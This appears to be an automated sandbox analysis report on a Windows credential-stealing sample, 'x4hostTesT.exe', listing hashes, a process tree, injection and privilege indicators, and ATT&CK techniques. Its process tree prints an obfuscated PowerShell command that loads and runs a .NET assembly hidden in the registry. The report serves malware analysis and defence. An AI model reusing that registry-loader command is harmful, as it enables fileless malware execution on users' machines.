b4d7cdcabead94586770c0a211fe3083419ae2856422bade3e5e2d30611e5660

Analysis

max time kernel
30s
max time network
19s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15-07-2024 09:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

x4hostTesT.exe
Size

748KB
MD5

41c2809934950af9e2634aa54cbffe17
SHA1

680229680df803f57b469f1131523405bc69682e
SHA256

b4d7cdcabead94586770c0a211fe3083419ae2856422bade3e5e2d30611e5660
SHA512

72c38ce481db3f2cb97e34247a2e556f80e5b0d2a48d5c83b9138cb1ce2b81f09425a1537fd52adacf4de67b46ccb24433d76fe5f3145e6fd12151164dbd3cc9
SSDEEP

12288:Fmj33G0OKtrxdx6TOVVPatXNFiRuOSBXWfIA6xlca+Wx5Ru7xC7Jm3wkCbK2m1XO:AjG0OKtrYTcitoBSwfITxearx55JmAZL

Score

10^/10

spyware stealer

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2760 created 432	2760	powershell.EXE	5

Executes dropped EXE 9 IoCs

pid	Process
2388	x4Shellcode.exe
476	services.exe
1832	alg.exe
2804	mscorsvw.exe
2912	mscorsvw.exe
1980	elevation_service.exe
1824	GROOVE.EXE
1164	maintenanceservice.exe
2952	OSE.EXE

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\alg.exe	x4Shellcode.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\f12d1f9076682ce6.bin	alg.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	GROOVE.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2760 set thread context of 2316	2760	powershell.EXE	42

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javafxpackager.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstack.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jvisualvm.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\DW\DW20.EXE	alg.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	alg.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log	maintenanceservice.exe
File opened for modification	C:\Program Files\Java\jre7\bin\policytool.exe	alg.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\helper.exe	alg.exe
File opened for modification	C:\Program Files\Mozilla Firefox\maintenanceservice.exe	alg.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmc.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\java.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\javacpl.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\klist.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\orbd.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\rmiregistry.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\ink\TabTip32.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdate.exe	alg.exe
File opened for modification	C:\Program Files\Internet Explorer\iediagcmd.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jrunscript.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmid.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\servertool.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\keytool.exe	alg.exe
File opened for modification	C:\Program Files\Mozilla Firefox\firefox.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\tnameserv.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe AIR\Versions\1.0\template.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Internet Explorer\ExtExport.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\ktab.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\MSOICONS.EXE	alg.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleCrashHandler.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\ODeploy.exe	alg.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jsadebugd.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstat.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\native2ascii.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe AIR\Versions\1.0\Adobe AIR Updater.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Install\{DDB7E7A7-D625-45EC-93C8-C15199469555}\chrome_installer.exe	alg.exe
File opened for modification	C:\Program Files\7-Zip\7zFM.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\schemagen.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\java-rmi.exe	alg.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\uninstall.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Setup.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jcmd.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jps.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe	alg.exe
File opened for modification	C:\Program Files\Java\jre7\bin\unpack200.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jmap.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\rmiregistry.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	alg.exe
File opened for modification	C:\Program Files\Mozilla Firefox\default-browser-agent.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Updater6\AdobeUpdaterInstallMgr.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateOnDemand.exe	alg.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe	alg.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\idlj.exe	alg.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	x4Shellcode.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe	alg.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenservicelock.dat	mscorsvw.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngenrootstorelock.dat	mscorsvw.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe	alg.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen_service.log	mscorsvw.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe	alg.exe
File created	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngenservicelock.dat	mscorsvw.exe
File created	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngenrootstorelock.dat	mscorsvw.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen_service.log	mscorsvw.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 4078ff2196d6da01	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	GROOVE.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2760	powershell.EXE
2760	powershell.EXE
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe
2316	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1196	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2388	x4Shellcode.exe
Token: SeShutdownPrivilege	2912	mscorsvw.exe
Token: SeShutdownPrivilege	2804	mscorsvw.exe
Token: SeDebugPrivilege	2760	powershell.EXE
Token: SeDebugPrivilege	2760	powershell.EXE
Token: SeDebugPrivilege	2316	dllhost.exe
Token: SeShutdownPrivilege	2912	mscorsvw.exe
Token: SeShutdownPrivilege	2804	mscorsvw.exe
Token: SeShutdownPrivilege	2912	mscorsvw.exe
Token: SeShutdownPrivilege	2912	mscorsvw.exe
Token: SeShutdownPrivilege	2804	mscorsvw.exe
Token: SeShutdownPrivilege	2804	mscorsvw.exe
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeAuditPrivilege	864	svchost.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 2388	2992	x4hostTesT.exe	30
PID 2992 wrote to memory of 2388	2992	x4hostTesT.exe	30
PID 2992 wrote to memory of 2388	2992	x4hostTesT.exe	30
PID 2992 wrote to memory of 2388	2992	x4hostTesT.exe	30
PID 2420 wrote to memory of 2760	2420	taskeng.exe	34
PID 2420 wrote to memory of 2760	2420	taskeng.exe	34
PID 2420 wrote to memory of 2760	2420	taskeng.exe	34
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2760 wrote to memory of 2316	2760	powershell.EXE	42
PID 2316 wrote to memory of 432	2316	dllhost.exe	5
PID 2316 wrote to memory of 476	2316	dllhost.exe	6
PID 2316 wrote to memory of 488	2316	dllhost.exe	7
PID 2316 wrote to memory of 496	2316	dllhost.exe	8
PID 2316 wrote to memory of 604	2316	dllhost.exe	9
PID 2316 wrote to memory of 688	2316	dllhost.exe	10
PID 2316 wrote to memory of 760	2316	dllhost.exe	11
PID 2316 wrote to memory of 824	2316	dllhost.exe	12
PID 2316 wrote to memory of 864	2316	dllhost.exe	13
PID 2316 wrote to memory of 984	2316	dllhost.exe	15
PID 2316 wrote to memory of 280	2316	dllhost.exe	16
PID 2316 wrote to memory of 300	2316	dllhost.exe	17
PID 2316 wrote to memory of 1068	2316	dllhost.exe	18
PID 2316 wrote to memory of 1104	2316	dllhost.exe	19
PID 2316 wrote to memory of 1168	2316	dllhost.exe	20
PID 2316 wrote to memory of 1196	2316	dllhost.exe	21
PID 2316 wrote to memory of 1500	2316	dllhost.exe	23
PID 2316 wrote to memory of 352	2316	dllhost.exe	24
PID 2316 wrote to memory of 344	2316	dllhost.exe	25
PID 2316 wrote to memory of 3028	2316	dllhost.exe	26
PID 2316 wrote to memory of 1756	2316	dllhost.exe	27
PID 2316 wrote to memory of 1832	2316	dllhost.exe	31
PID 2316 wrote to memory of 2420	2316	dllhost.exe	32
PID 2316 wrote to memory of 2804	2316	dllhost.exe	33
PID 2316 wrote to memory of 2760	2316	dllhost.exe	34
PID 2316 wrote to memory of 2912	2316	dllhost.exe	35
PID 2316 wrote to memory of 2896	2316	dllhost.exe	36
PID 2316 wrote to memory of 2612	2316	dllhost.exe	37
PID 2316 wrote to memory of 1980	2316	dllhost.exe	38
PID 2316 wrote to memory of 1824	2316	dllhost.exe	39
PID 2316 wrote to memory of 2952	2316	dllhost.exe	41

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:432
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{59bc17d2-c451-49cd-97ba-5392e8e8c023}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2316

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
- Executes dropped EXE
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:604
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1500
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:344
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:688
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:760
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:824
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1168
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:864
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {10CA562B-5AD0-46DC-9178-47E2372DDE47} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'FT'+[Char](87)+''+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](120)+'4st'+'a'+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2760
- - C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    - Drops file in System32 directory
    PID:2612
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:984
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:280
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:300
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1068
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1104
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:352
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:3028
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1756
- C:\Windows\System32\alg.exe
  C:\Windows\System32\alg.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Drops file in Windows directory
  PID:1832
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:2804
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  PID:2912
- C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
  "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
  2⤵
  - Executes dropped EXE
  PID:1980
- C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE
  "C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE" /auditservice
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1824
- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
  "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:1164
- C:\Program Files (x86)\Common Files\Microsoft Shared\Source Engine\OSE.EXE
  "C:\Program Files (x86)\Common Files\Microsoft Shared\Source Engine\OSE.EXE"
  2⤵
  - Executes dropped EXE
  PID:2952

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:488

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:496

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1196
- C:\Users\Admin\AppData\Local\Temp\x4hostTesT.exe
  "C:\Users\Admin\AppData\Local\Temp\x4hostTesT.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Users\Admin\AppData\Roaming\x4Shellcode.exe
    "C:\Users\Admin\AppData\Roaming\x4Shellcode.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    PID:2388

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2047357817-1897437521461653465123421198716723258797660189571691489627-341714110"
1⤵
PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Common Files\microsoft shared\Source Engine\OSE.EXE

Filesize
706KB

MD5
3cae9498029338b0cd267fbd2a7f748a

SHA1
7b3215373c833210521d9ff0946241b4b4c1e895

SHA256
a6c53d7cba9116fc86d685ce0c4adc4657824f79ba308dc96bdac55269678cd0

SHA512
1e26ed7821f32b4a3e7e73992892d3804d471ac2e66d171f8ac13b1516125fdff3d64e1b88c6d4201ec69e5ff46fe9c222f70f9e9a656a2d30d5a46b63fefbde

Download Submit
C:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE

Filesize
30.1MB

MD5
45ce1773e970f9df53898b34a6e7f404

SHA1
8d663608907d39a188cddf04f4fbe2376a954815

SHA256
c009074590c4f0fb9ecbf941fd51ee63a2e70196cd1913bc8fa0e6e1cb0f7fd0

SHA512
2c758ae420bb6ef71174e19679a4dddc9110b914e58d4eef54d47c1bde9e2d66f4de164f0634796ddd4d66f099971418c5d9966d5a854aff6586712875071e49

Download Submit
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

Filesize
781KB

MD5
4d8fa444afa7c2ec1da87b227b736afd

SHA1
9d803b9bcea9163e6f543fe1aec283804e94b9ee

SHA256
de9256ea143f1f7d8c6373562523cfb1a06d172aa004f2441e95c46da75c83ca

SHA512
baf6b5f933fb8a6a3ba9a86632b02598be77f5ccd83eb98eed94059cdf7ea0ebe9e077d0f3b2de854024334d2c2d50ba1dddaa503e1454a2fa5b2c94be36af2e

Download Submit
C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe

Filesize
2.1MB

MD5
8fc6e227d4d8cd2f4e2f530dae198d04

SHA1
39af5fa845764c70ee5a923b2e7dddd6c8820ef7

SHA256
1a505ac20eed4340984ecb29390e5f439c6349b3d6fa07bc3f87e49c47125978

SHA512
01fd6098ea8ee78b9cc5d8ff162bdf9068db32f1333e05dc2dbbe1ece39e9c9af987eb138cb0bc452e108b87139b3a51db6a3c21f736bdaccd97f35fe645cf96

Download Submit
C:\Users\Admin\AppData\Roaming\x4Shellcode.exe

Filesize
731KB

MD5
851be4e85b0f111883680e87099483a3

SHA1
155e19ad0d2ec4bef3ba25512b6e8bc403350ec9

SHA256
ba2d2058ab95d39a9c05c9c74dfa7c860cc662f33ecd96c35f2c344666472197

SHA512
bcfd99df20ba3e713801f9c41bc924379f4f6078703ec1d44e90ec3649aa1b2fce6ce802a71a0297516ccf344c627c91359434b7166d716dea69ab41c1fecce6

Download Submit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe

Filesize
678KB

MD5
c0a94438345720d86c6a8b0127d56659

SHA1
091f2757f322f1c9b6e455894f4cce02806de4c4

SHA256
9e1ec3f809d592c92091e4a43040b2bb5aab7c485df4f028adf309c1fd9c0910

SHA512
a6078ca29946cae971e653752660233a0fba3abf03394c3e4c9e128320a75800ccbbda994cf877ca35ac7cce78ab8780773bcb0d29664a6d842c1702cc01da38

Download Submit
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Filesize
656KB

MD5
a8559c9dc6b2e43ff262ca44340934b2

SHA1
48ea64a45fd7a6b4b163995bfacfb433bc07106c

SHA256
d63e0479ef3ce94b57b6010ac6fe0e7eda1d5792771554a6f2af9d0187bf0876

SHA512
4eaaf12794d6eb40012062169e1c1adea9a530b264bdbba4f51d0b89452f159c6bd3c5f87923349182f195f3cd1b3953c78d73cc816b2c59f3cc2e46b5804ac0

Download Submit
\Windows\System32\alg.exe

Filesize
644KB

MD5
6b2742474a30a16657d5e2ded83994ef

SHA1
41ad51ae0837ef44ed3bd316419fdd79e16f5431

SHA256
cc3a004ae405f7c992e9d2330b438022b874b901497c1ac38bd80e7c59851903

SHA512
94b80639ef1ecc015a6de749a5c740f96e93a31a8d52fbb79e1cff391bd35e55f8e90c9bfa894ebe5f36b050b5cf1aef8553e48014f440e9cb3fb20a8da1d679

Download Submit
memory/1164-95-0x0000000140000000-0x00000001400CA000-memory.dmp

Filesize
808KB

Download
memory/1164-98-0x00000000008E0000-0x0000000000940000-memory.dmp

Filesize
384KB

Download
memory/1164-87-0x00000000008E0000-0x0000000000940000-memory.dmp

Filesize
384KB

Download
memory/1164-93-0x00000000008E0000-0x0000000000940000-memory.dmp

Filesize
384KB

Download
memory/1164-100-0x0000000140000000-0x00000001400CA000-memory.dmp

Filesize
808KB

Download
memory/1824-85-0x000000002E000000-0x000000002FE1E000-memory.dmp

Filesize
30.1MB

Download
memory/1824-82-0x00000000002E0000-0x0000000000347000-memory.dmp

Filesize
412KB

Download
memory/1824-473-0x000000002E000000-0x000000002FE1E000-memory.dmp

Filesize
30.1MB

Download
memory/1824-77-0x00000000002E0000-0x0000000000347000-memory.dmp

Filesize
412KB

Download
memory/1832-20-0x0000000000190000-0x00000000001F0000-memory.dmp

Filesize
384KB

Download
memory/1832-427-0x0000000100000000-0x00000001000A4000-memory.dmp

Filesize
656KB

Download
memory/1832-19-0x0000000100000000-0x00000001000A4000-memory.dmp

Filesize
656KB

Download
memory/1832-26-0x0000000000190000-0x00000000001F0000-memory.dmp

Filesize
384KB

Download
memory/1832-28-0x0000000000190000-0x00000000001F0000-memory.dmp

Filesize
384KB

Download
memory/1980-71-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/1980-65-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/1980-64-0x0000000140000000-0x0000000140237000-memory.dmp

Filesize
2.2MB

Download
memory/1980-470-0x0000000140000000-0x0000000140237000-memory.dmp

Filesize
2.2MB

Download
memory/2388-8-0x0000000002060000-0x00000000020C7000-memory.dmp

Filesize
412KB

Download
memory/2388-7-0x0000000000400000-0x00000000004B9000-memory.dmp

Filesize
740KB

Download
memory/2388-32-0x0000000000400000-0x00000000004B9000-memory.dmp

Filesize
740KB

Download
memory/2388-13-0x0000000002060000-0x00000000020C7000-memory.dmp

Filesize
412KB

Download
memory/2760-75-0x0000000000CD0000-0x0000000000CD8000-memory.dmp

Filesize
32KB

Download
memory/2760-74-0x000000001A0E0000-0x000000001A3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2760-172-0x0000000001590000-0x00000000015BA000-memory.dmp

Filesize
168KB

Download
memory/2804-468-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/2804-42-0x0000000000B00000-0x0000000000B67000-memory.dmp

Filesize
412KB

Download
memory/2804-36-0x0000000000B00000-0x0000000000B67000-memory.dmp

Filesize
412KB

Download
memory/2804-35-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/2912-49-0x00000000002C0000-0x0000000000320000-memory.dmp

Filesize
384KB

Download
memory/2912-48-0x0000000140000000-0x00000001400AE000-memory.dmp

Filesize
696KB

Download
memory/2912-55-0x00000000002C0000-0x0000000000320000-memory.dmp

Filesize
384KB

Download
memory/2912-469-0x0000000140000000-0x00000001400AE000-memory.dmp

Filesize
696KB

Download
memory/2952-102-0x000000002E000000-0x000000002E0B5000-memory.dmp

Filesize
724KB

Download
memory/2952-108-0x0000000000310000-0x0000000000377000-memory.dmp

Filesize
412KB

Download
memory/2952-103-0x0000000000310000-0x0000000000377000-memory.dmp

Filesize
412KB

Download
memory/2952-474-0x000000002E000000-0x000000002E0B5000-memory.dmp

Filesize
724KB

Download
memory/2992-0-0x000007FEF5643000-0x000007FEF5644000-memory.dmp

Filesize
4KB

Download
memory/2992-1-0x0000000000990000-0x0000000000A52000-memory.dmp

Filesize
776KB

Download